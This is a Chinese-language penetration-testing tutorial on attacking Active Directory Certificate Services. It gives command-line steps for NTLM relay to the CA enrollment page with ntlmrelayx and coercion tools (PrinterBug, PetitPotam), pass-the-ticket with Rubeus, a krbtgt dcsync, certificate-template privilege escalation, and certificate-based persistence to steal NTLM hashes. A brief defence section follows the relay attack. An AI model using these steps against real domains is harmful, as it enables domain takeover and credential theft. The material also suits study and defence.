ADCS在内网渗透中的应用
字数 1441 2025-08-20 18:17:59

ADCS在内网渗透中的应用

文章前言

在攻防演练中遇到部署了证书服务(AD CS)的内网环境时,可以利用证书服务发布的部分证书进行多种内网攻击尝试:

  1. 身份认证:在本地检索是否存在相关证书并用该证书进行域内身份认证
  2. 权限维持:申请证书后即使后期用户更改密码,仍可使用证书获取NTLM Hash
  3. 中继攻击:利用HTTP协议的CA证书申请界面进行NTLM Relay攻击
  4. 配置滥用:利用配置错误实现权限提升

企业PKI基础

PKI(公钥基础结构)是通过使用公钥技术和数字证书来确保系统信息安全的体系,微软的AD CS(Active Directory证书服务)是其PKI实现,可与AD DS服务结合用于:

  • 加密文件系统
  • 数字签名
  • 身份验证

证书颁发机构(CA)

CA分为两类:

  1. 企业CA:与AD DS服务结合,信息存储在AD DS数据库中,支持证书模板和自动注册证书
  2. 独立CA

证书信任问题解决方案:

  • 手动导入CA证书(非域内计算机)
  • 使用组策略将企业根CA证书传播到域中所有用户和计算机的"受信任的根证书颁发机构"

证书注册流程

  1. 客户端生成证书申请文件(可使用openssl或在线工具)

    openssl req -new -SHA256 -newkey rsa:4096 -nodes -keyout www.al1ex.com.key -out www.al1ex.com.csr -subj "/C=CN/ST=Beijing/L=Beijing/O=netstarsec/OU=sec/CN=www.al1ex.com"
    
  2. 客户端发送证书申请文件给CA并选择证书模板

  3. CA验证模板是否存在、用户权限、证书用途等信息

  4. CA使用私钥签署证书

证书注册接口

  1. 证书注册网页

    • 需安装"证书颁发机构Web"注册角色
    • 通过IIS服务器进行演示流程
  2. certmgr.msc/certlm.msc

    • 用于用户/计算机证书的GUI申请方式
  3. Powershell

    • 使用certreq.exe或Get-Certificate命令

内网攻防技术

ADCS中继攻击

漏洞原理

AD CS的HTTP协议证书注册接口易受NTLM中继攻击,原因:

  • 未启用NTLM中继保护
  • 使用NTLM而非更安全的Kerberos进行身份验证

利用步骤

  1. 定位域内CA机器:

    certutil -config - -ping
    
  2. 安装支持AD CS攻击的Impacket版本:

    python3 -m pip install .
    
  3. 开启监听并设置目标CA:

    python3 ntlmrelayx.py -t http://192.168.174.160/certsrv/certfnsh.asp -smb2support --adcs
    
  4. 强制认证方法:

    • printerbug
      python3 printerbug.py hacke/testuser:'test@123'@dc.hacke.testlab 192.168.174.129
      
    • dementor.py
      python3 dementor.py -d hacke.testlab -u Al1ex -p 'Kksvqm@123' 192.168.174.129 192.168.174.2
      
    • Petitpotam.py
      python3 PetitPotam.py -d hacke.testlab -u Al1ex -p 'Kksvqm@123' 192.168.174.129 192.168.174.160
      
  5. 获取TGT并注入:

    Rubeus.exe asktgt /user:DC$ /certificate:base64-certificate /ptt
    
  6. 导出hash:

    KERBEROS::List 
    lsadump::dcsync /user:krbtgt
    

防御措施

  • 开启SSL认证
  • 开启NTML中继保护

ADCS权限提升

基本原理

证书模板中若包含以下策略之一则具备Kerberos认证能力:

  • 客户端认证(OID 1.3.6.1.5.5.7.3.2)
  • PKINIT客户端身份验证(1.3.6.1.5.2.3.4)
  • 智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)
  • 任何目的(OID 2.5.29.37.0)

利用条件

  1. 企业CA授予低级用户注册权限
  2. CA证书无需授权签名
  3. CA证书管理程序批准已禁用
  4. 证书模板允许请求者在CSR中指定subjectAltName(SAN)
  5. 证书模板定义了启用身份验证的EKU

利用步骤

  1. 使用certmgr申请证书(以域管为例)
  2. 查看并导出本地计算机证书:
    certutil -user -store My
    certutil -user -exportPFX f7bf99c86db5107e540c75055b17c2ddacbccb1a ADM.pfx
    
  3. 使用Rubeus请求票证并PTT:
    Rubeus.exe asktgt /user:administrator /certificate:ADM.pfx /password:123456 /ptt
    
  4. 查看本地缓存票证:
    klist
    

ADCS权限维持

基本原理

使用证书进行Kerberos认证时,返回票据的PAC包中包含NTLM票据,可用于获取用户NTLM Hash。即使重置密码,证书仍可作为独立身份验证材料使用。

利用步骤

  1. 发现目标主机中的用户证书
  2. 查看并导出可用证书:
    certutil -user -store My
    certutil -user -exportPFX f418dede290437696deeb6f53f099f1b58c918fb c:\Users\Al1ex.HACKE\Desktop\Al1ex.pfx
    
  3. 将pfx文件导入本地计算机
  4. 使用Kekeo获取用户的NTLM:
    tgt::pac /subject:Al1ex /castore:current_user /domain:hacke.testlab
    
  5. 即使用户修改密码后,仍可使用证书窃取NTLM Hash
ADCS在内网渗透中的应用 文章前言 在攻防演练中遇到部署了证书服务(AD CS)的内网环境时,可以利用证书服务发布的部分证书进行多种内网攻击尝试: 身份认证 :在本地检索是否存在相关证书并用该证书进行域内身份认证 权限维持 :申请证书后即使后期用户更改密码,仍可使用证书获取NTLM Hash 中继攻击 :利用HTTP协议的CA证书申请界面进行NTLM Relay攻击 配置滥用 :利用配置错误实现权限提升 企业PKI基础 PKI(公钥基础结构)是通过使用公钥技术和数字证书来确保系统信息安全的体系,微软的AD CS(Active Directory证书服务)是其PKI实现,可与AD DS服务结合用于: 加密文件系统 数字签名 身份验证 证书颁发机构(CA) CA分为两类: 企业CA :与AD DS服务结合,信息存储在AD DS数据库中,支持证书模板和自动注册证书 独立CA 证书信任问题解决方案: 手动导入CA证书(非域内计算机) 使用组策略将企业根CA证书传播到域中所有用户和计算机的"受信任的根证书颁发机构" 证书注册流程 客户端生成证书申请文件(可使用openssl或在线工具) 客户端发送证书申请文件给CA并选择证书模板 CA验证模板是否存在、用户权限、证书用途等信息 CA使用私钥签署证书 证书注册接口 证书注册网页 : 需安装"证书颁发机构Web"注册角色 通过IIS服务器进行演示流程 certmgr.msc/certlm.msc : 用于用户/计算机证书的GUI申请方式 Powershell : 使用certreq.exe或Get-Certificate命令 内网攻防技术 ADCS中继攻击 漏洞原理 AD CS的HTTP协议证书注册接口易受NTLM中继攻击,原因: 未启用NTLM中继保护 使用NTLM而非更安全的Kerberos进行身份验证 利用步骤 定位域内CA机器: 安装支持AD CS攻击的Impacket版本: 开启监听并设置目标CA: 强制认证方法: printerbug : dementor.py : Petitpotam.py : 获取TGT并注入: 导出hash: 防御措施 开启SSL认证 开启NTML中继保护 ADCS权限提升 基本原理 证书模板中若包含以下策略之一则具备Kerberos认证能力: 客户端认证(OID 1.3.6.1.5.5.7.3.2) PKINIT客户端身份验证(1.3.6.1.5.2.3.4) 智能卡登录(OID 1.3.6.1.4.1.311.20.2.2) 任何目的(OID 2.5.29.37.0) 利用条件 企业CA授予低级用户注册权限 CA证书无需授权签名 CA证书管理程序批准已禁用 证书模板允许请求者在CSR中指定subjectAltName(SAN) 证书模板定义了启用身份验证的EKU 利用步骤 使用certmgr申请证书(以域管为例) 查看并导出本地计算机证书: 使用Rubeus请求票证并PTT: 查看本地缓存票证: ADCS权限维持 基本原理 使用证书进行Kerberos认证时,返回票据的PAC包中包含NTLM票据,可用于获取用户NTLM Hash。即使重置密码,证书仍可作为独立身份验证材料使用。 利用步骤 发现目标主机中的用户证书 查看并导出可用证书: 将pfx文件导入本地计算机 使用Kekeo获取用户的NTLM: 即使用户修改密码后,仍可使用证书窃取NTLM Hash